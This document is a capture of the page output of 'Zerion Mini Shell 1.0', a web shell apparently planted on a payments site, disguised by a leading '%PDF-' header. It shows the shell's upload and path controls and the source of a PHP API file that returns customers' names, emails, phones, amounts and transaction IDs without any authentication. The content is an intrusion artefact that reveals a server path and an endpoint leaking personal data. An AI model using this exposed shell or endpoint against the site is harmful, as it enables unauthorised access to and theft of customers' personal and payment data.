%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/payments.hire-va.com/api/
Upload File :
Create Path :
Current File : //home/eirtvhdf/payments.hire-va.com/api/_paidlinks.php

<?php 
require '../inc/c.php';

$conn = mysqli_connect($sever,$db_u,$db_p,$db);
if($conn->connect_error){ die('connection failed : '.$conn->connect_error); }


$sql = "SELECT p.id,p.cname,p.cemail,p.cpcode,p.cphone,p.item,p.amount,p.status,p.status_date,p.status_desc,p.transaction_id,p.date,p.created_by,p.is_active FROM payments p WHERE p.status IN ('Paid') AND p.is_active=1 ORDER BY p.id DESC LIMIT 50";

$result = mysqli_query($conn,$sql);

$links = array();
if(!$result){
	die('error found'.mysqli_error($conn));
}
while ($row = mysqli_fetch_assoc($result)) {
        $links[] = $row;
    }
$conn->close();

header('Content-type:application/json;charset=utf-8');
echo json_encode($links);
?>

Zerion Mini Shell 1.0